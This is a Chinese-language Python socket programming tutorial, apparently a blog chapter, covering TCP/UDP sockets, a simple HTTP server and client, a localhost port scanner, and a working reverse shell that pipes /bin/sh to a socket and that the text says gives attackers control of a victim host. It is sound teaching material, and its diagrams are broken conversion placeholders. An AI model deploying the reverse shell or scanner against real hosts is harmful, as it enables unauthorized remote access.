2024年11月19日玄貓（BlackCat）

Python Socket 程式設計入門與應用

本文深入淺出地介紹了 Python Socket 程式設計的基礎知識，涵蓋 TCP 和 UDP Socket 的建立、使用方法，以及如何利用 Socket 模組構建 HTTP 伺服器和反向 Shell。文章也提供了程式碼範例，並以 Plantuml 圖表輔助說明，讓讀者更容易理解 Socket

網路程式設計 Python

Socket TCP UDP HTTP 伺服器反向 Shell 埠掃描

Socket 程式設計是網路應用程式開發的根本，讓不同主機上的程式得以互相通訊。Python 的 socket 模組提供了簡潔易用的 API，方便開發者快速構建網路應用程式。本文除了介紹 Socket 的基本概念、型別和常用方法外，也示範瞭如何使用 socket 模組建立 TCP 和 UDP 客戶端與伺服器，並進一步探討了 HTTP 伺服器和反向 Shell 的實作。透過理解 Socket 的運作原理和 Python socket 模組的應用，開發者能更有效地開發網路相關應用。

Socket Programming 介紹

在本章中，您將學習使用 socket 模組進行 Python 網路基礎建設的相關知識。socket 模組提供了所有必要的方法，能夠快速編寫 TCP 和 UDP 的客戶端和伺服器，用於編寫低階網路應用程式。

Socket 程式設計是一種抽象原則，允許兩個程式透過使用不同網路協定的 API 共用任意資料流，這些協定通常由作業系統支援，存在於網際網路 TCP/IP 堆積疊中。

本章將涵蓋實作 HTTP 伺服器、使用 socket 方法解析 IPS 網域和位址等主題。具體來說，本章將討論以下內容：

在 Python 中介紹 socket
在 Python 中實作 HTTP 伺服器
使用 socket 實作反向 Shell
解析 IPS 網域、位址和管理例外
使用 socket 進行埠掃描
實作簡單的 TCP 客戶端和伺服器
實作簡單的 UDP 客戶端和伺服器

技術需求

為了充分利用本章的內容，您需要具備一些基本的作業系統命令執行知識。同時，您需要在本地機器上安裝 Python 發行版。本章將使用 Python 3.7 版本，可在 www.python.org/downloads 下載。

在 Python 中介紹 Socket

Socket 是允許我們利用作業系統功能與網路互動的主要元件。您可以將 socket 視為客戶端和伺服器之間的點對點通訊通道。

網路 socket 是在同一台機器或不同機器上建立程式之間通訊的簡單方法。socket 的概念與 UNIX 作業系統中檔案描述符的使用非常相似。用於處理檔案的命令，如 read() 和 write()，對處理 socket 的行為也類別似。

網路 socket 的位址由 IP 位址和埠號組成。socket 的目的是在網路上進行程式之間的通訊。

Python 中的網路 Socket

不同實體之間的網路通訊是根據 Python 所開發的經典 socket 概念。一個 socket 由機器的 IP 位址、所監聽的埠以及所使用的協定指定。

在 Python 中建立 socket 是透過 socket.socket() 方法完成的。該方法的一般語法如下：

s = socket.socket(socket_family, socket_type, protocol=0)

上述語法表示位址家族和傳輸層協定。根據通訊型別的不同，socket 分為以下幾類別：

TCP socket (socket.SOCK_STREAM)
UDP socket (socket.SOCK_DGRAM)

TCP 和 UDP 的主要區別在於，TCP 是導向連線的，而 UDP 是非導向連線的。

Socket 也可以按家族分類別。以下是可用的選項：

UNIX socket (socket.AF_UNIX)，在網路定義之前建立，根據資料
socket.AF_INET socket，用於 IPv4 協定
socket.AF_INET6 socket，用於 IPv6 協定

還有另一種 socket 型別——原始 socket。這些 socket 允許我們存取通訊協定，可以使用或不使用第 3 層（網路層）和第 4 層（傳輸層）協定，從而直接存取協定和接收到的資訊。使用這種型別的 socket 將允許我們實作新的協定並修改現有的協定。

原始 Socket

原始 socket 有兩種型別，使用哪一種取決於所需的應用目標和需求：

AF_PACKET 家族：AF_PACKET 家族的原始 socket 是最低層的，允許讀取和寫入任何層的協定頭。
AF_INET 家族：AF_INET 原始 socket 將鏈路頭的建構委託給作業系統，允許分享操作網路頭。

您可以在 socket 模組檔案中找到更多資訊和範例：https://docs.python.org/3/library/socket.html#socket.SOCK_RAW。

現在，我們已經分析了什麼是 socket 及其型別，接下來將介紹 socket 模組及其提供的功能。

使用 Plantuml 圖表說明 Socket 通訊流程

@startuml
note
  無法自動轉換的 Plantuml 圖表
  請手動檢查和調整
@enduml

此圖示說明瞭客戶端和伺服器之間的 Socket 通訊流程，包括建立連線、資料傳輸和關閉連線的步驟。

詳細解說

建立連線：客戶端傳送 SYN（同步）封包給伺服器，請求建立連線。
伺服器回應：伺服器收到 SYN 後，回應 SYN-ACK（同步-確認）封包給客戶端。
客戶端確認：客戶端收到 SYN-ACK 後，傳送 ACK（確認）封包給伺服器，完成連線建立。
資料傳輸：客戶端和伺服器可以互相傳送資料。
關閉連線：客戶端傳送 FIN（結束）封包給伺服器，請求關閉連線。
伺服器回應：伺服器收到 FIN 後，回應 ACK 給客戶端。
伺服器關閉：伺服器傳送 FIN 給客戶端，通知客戶端連線將被關閉。
客戶端確認：客戶端收到 FIN 後，回應 ACK 給伺服器，完成連線關閉。

這個流程展示了 TCP 連線的建立、資料傳輸和關閉過程，確保了資料的可靠傳輸。

Python中的Socket程式設計

Socket模組介紹

在Python中，與Socket相關的型別和函式都包含在socket模組中。這個模組提供了建立TCP和UDP客戶端與伺服器所需的所有功能。

Socket的基本概念

在Socket程式設計中，大多數應用程式採用客戶端/伺服器（Client/Server）架構。其中，一個應用程式作為伺服器，另一個應用程式作為客戶端，雙方透過TCP或UDP等協定進行訊息傳遞。

伺服器：等待客戶端連線的應用程式。
客戶端：連線到伺服器的應用程式。

建立Socket物件

在Python中，使用socket類別建構函式來建立一個Socket物件，該函式接受通訊域（family）、Socket型別（type）和協定（protocol）作為引數。典型的建立TCP Socket的方式如下：

socket.socket(socket.AF_INET, socket.SOCK_STREAM)

常用的Socket方法

無論是客戶端還是伺服器，都可以使用以下Socket方法：

socket.recv(buflen)：接收來自Socket的資料，引數buflen指定了最大可接收的資料量。
socket.recvfrom(buflen)：接收資料並傳回傳送者的位址。
socket.send(bytes)：將資料傳送到指定的目標。
socket.sendto(data, address)：將資料傳送到指定的位址。
socket.sendall(data)：將緩衝區中的所有資料傳送到Socket。
socket.close()：釋放記憶體並終止連線。

伺服器端的Socket方法

在客戶端/伺服器架構中，伺服器提供了服務給連線到它的客戶端。以下是伺服器端可以使用的Socket方法：

socket.bind(address)：將位址與Socket繫結，要求Socket必須在繫結位址之前開啟。
socket.listen(count)：啟動TCP監聽器，引數count指定了最大可接受的客戶端連線數。
socket.accept()：接受客戶端的連線，傳回一個包含客戶端Socket和客戶端位址的元組。

範例程式碼：伺服器端Socket方法的使用

import socket

# 建立Socket物件
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 繫結位址和埠號
server_socket.bind(('localhost', 8080))

# 啟動監聽
server_socket.listen(5)

print('伺服器正在監聽...')

while True:
    # 接受客戶端連線
    client_socket, client_address = server_socket.accept()
    print(f'客戶端 {client_address} 已連線')

    # 接收資料
    data = client_socket.recv(1024)
    print(f'接收到資料：{data.decode()}')

    # 傳送回應
    response = 'Hello, Client!'
    client_socket.send(response.encode())

    # 關閉客戶端Socket
    client_socket.close()

客戶端的Socket方法

客戶端可以使用以下Socket方法連線到伺服器：

socket.connect(ip_address)：將客戶端連線到伺服器的IP位址。
socket.connect_ex(ip_address)：與connect()方法類別似，但如果無法連線，則傳回錯誤碼。

範例程式碼：使用`connect_ex()`進行埠掃描

import socket

ip = '127.0.0.1'
portlist = [21, 22, 23, 80]

for port in portlist:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result = sock.connect_ex((ip, port))
    print(f'{port}: {result}')
    sock.close()

範例程式碼：基本客戶端與Socket模組的使用

import socket

# 建立Socket物件
print('建立Socket...')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket建立完成')

# 連線到遠端主機
print('連線到遠端主機...')
s.connect(('www.example.com', 80))
print('已連線')

# 傳送資料
request = 'GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n'
s.send(request.encode())

# 接收資料
data = s.recv(1024)
print(f'接收到資料：{data.decode()}')

# 關閉Socket
s.close()

使用Plantuml圖表呈現客戶端/伺服器架構

@startuml
skinparam backgroundColor #FEFEFE
skinparam defaultTextAlignment center
skinparam rectangleBackgroundColor #F5F5F5
skinparam rectangleBorderColor #333333
skinparam arrowColor #333333

title 使用Plantuml圖表呈現客戶端/伺服器架構

rectangle "連線" as node1
rectangle "回應" as node2

node1 --> node2

@enduml

此圖示說明瞭客戶端與伺服器之間的連線和回應流程。

Socket 程式設計：實作 HTTP 伺服器與反向 Shell

簡介

Socket 程式設計是一種網路通訊的方式，允許不同主機之間的程式進行資料交換。本文將介紹如何使用 Python 的 socket 模組實作一個簡單的 HTTP 伺服器和反向 Shell。

實作 HTTP 伺服器

要實作 HTTP 伺服器，我們需要使用 socket 模組建立一個伺服器端程式，監聽特定的埠，並對客戶端的請求做出回應。

建立伺服器端程式

import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mySocket.bind(('localhost', 8080))
mySocket.listen(5)

while True:
    print('等待連線...')
    (recvSocket, address) = mySocket.accept()
    print('收到 HTTP 請求：')
    print(recvSocket.recv(1024))
    recvSocket.send(bytes("HTTP/1.1 200 OK\r\n\r\n<html><body><h1>Hello World!</h1></body></html>\r\n", 'utf-8'))
    recvSocket.close()

程式碼解析：

socket.socket(socket.AF_INET, socket.SOCK_STREAM)：建立一個 TCP socket。
mySocket.bind(('localhost', 8080))：將 socket 繫結到本地主機的 8080 埠。
mySocket.listen(5)：開始監聽連線請求，最大排隊數為 5。
mySocket.accept()：接受客戶端的連線請求。
recvSocket.recv(1024)：接收客戶端傳送的資料。
recvSocket.send()：向客戶端傳送資料。

測試 HTTP 伺服器

要測試 HTTP 伺服器，我們可以建立一個客戶端程式，連線到伺服器並傳送 HTTP 請求。

建立客戶端程式

import socket

webhost = 'localhost'
webport = 8080

print("連線到 %s:%d ..." % (webhost, webport))
webclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
webclient.connect((webhost, webport))
webclient.send(bytes("GET / HTTP/1.1\r\nHost: localhost\r\n\r\n", 'utf-8'))
reply = webclient.recv(4096)
print("收到回應：")
print(reply.decode())

程式碼解析：

webclient.connect((webhost, webport))：連線到伺服器。
webclient.send()：傳送 HTTP 請求。
webclient.recv(4096)：接收伺服器的回應。

實作反向 Shell

反向 Shell 是一種特殊的 shell，可以讓攻擊者遠端控制受害者的主機。

建立反向 Shell 程式

import socket
import subprocess
import os

socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    if os.fork() > 0:
        os._exit(0)
except OSError as error:
    print('錯誤：%d (%s)' % (error.errno, error.strerror))

socket_handler.connect(("127.0.0.1", 45679))
os.dup2(socket_handler.fileno(), 0)
os.dup2(socket_handler.fileno(), 1)
os.dup2(socket_handler.fileno(), 2)
shell_remote = subprocess.call(["/bin/sh", "-i"])

程式碼解析：

socket_handler.connect(("127.0.0.1", 45679))：連線到指定的 IP 位址和埠。
os.dup2(socket_handler.fileno(), 0/1/2)：將 socket 的檔案描述符複製到標準輸入/輸出/錯誤。
subprocess.call(["/bin/sh", "-i"])：啟動一個互動式的 shell。

Socket Programming 介紹

技術需求

在 Python 中介紹 Socket

Python 中的網路 Socket

原始 Socket

使用 Plantuml 圖表說明 Socket 通訊流程

此圖示說明瞭客戶端和伺服器之間的 Socket 通訊流程，包括建立連線、資料傳輸和關閉連線的步驟。

詳細解說

Python中的Socket程式設計

Socket模組介紹

Socket的基本概念

建立Socket物件

常用的Socket方法

伺服器端的Socket方法

範例程式碼：伺服器端Socket方法的使用

客戶端的Socket方法

範例程式碼：使用connect_ex()進行埠掃描

範例程式碼：基本客戶端與Socket模組的使用

使用Plantuml圖表呈現客戶端/伺服器架構

此圖示說明瞭客戶端與伺服器之間的連線和回應流程。

Socket 程式設計：實作 HTTP 伺服器與反向 Shell

簡介

實作 HTTP 伺服器

建立伺服器端程式

程式碼解析：

測試 HTTP 伺服器

建立客戶端程式

程式碼解析：

實作反向 Shell

建立反向 Shell 程式

程式碼解析：

範例程式碼：使用`connect_ex()`進行埠掃描